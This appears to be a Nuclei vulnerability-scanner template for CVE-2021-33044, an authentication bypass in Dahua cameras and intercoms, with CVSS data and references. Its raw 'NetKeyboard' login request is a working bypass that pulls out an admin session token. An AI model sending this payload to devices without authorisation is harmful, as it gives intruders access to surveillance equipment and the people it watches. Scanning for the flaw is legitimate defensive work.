CVE-2021-33044: Dahua IPC/VTH/VTO - Authentication Bypass

id: CVE-2021-33044

info:
  name: Dahua IPC/VTH/VTO - Authentication Bypass
  author: gy741
  severity: critical
  description: Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
  impact: |
    An attacker can gain unauthorized access to the device, potentially compromising the security and privacy of the system.
  remediation: |
    Apply the latest firmware update provided by Dahua to fix the authentication bypass vulnerability.
  reference:
    - https://github.com/dorkerdevil/CVE-2021-33044
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33044
    - https://seclists.org/fulldisclosure/2021/Oct/13
    - https://www.dahuasecurity.com/support/cybersecurity/details/957
    - https://github.com/bp2008/DahuaLoginBypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33044
    cwe-id: CWE-287
    epss-score: 0.94269
    epss-percentile: 0.99929
    cpe: cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dahuasecurity
    product: ipc-hum7xxx_firmware
  tags: cve2021,cve,dahua,auth-bypass,seclists,dahuasecurity,kev

http:
  - raw:
      - |
        POST /RPC2_Login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Connection: close
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        {"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":true,"session"'
          - 'id'
          - 'params'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - ',"result":true,"session":"([a-z]+)"\}'
        part: body
# digest: 4a0a0047304502204642c27fb512ade68dfa486aa33b5c2f8d4686cba16b8b6b96c3669b1145180202210082dee74986aa03696b5273a30ed44e34a2ac4747e672e66dc4c957598b7018f5:922c64590222798bb761d5b6d8e72950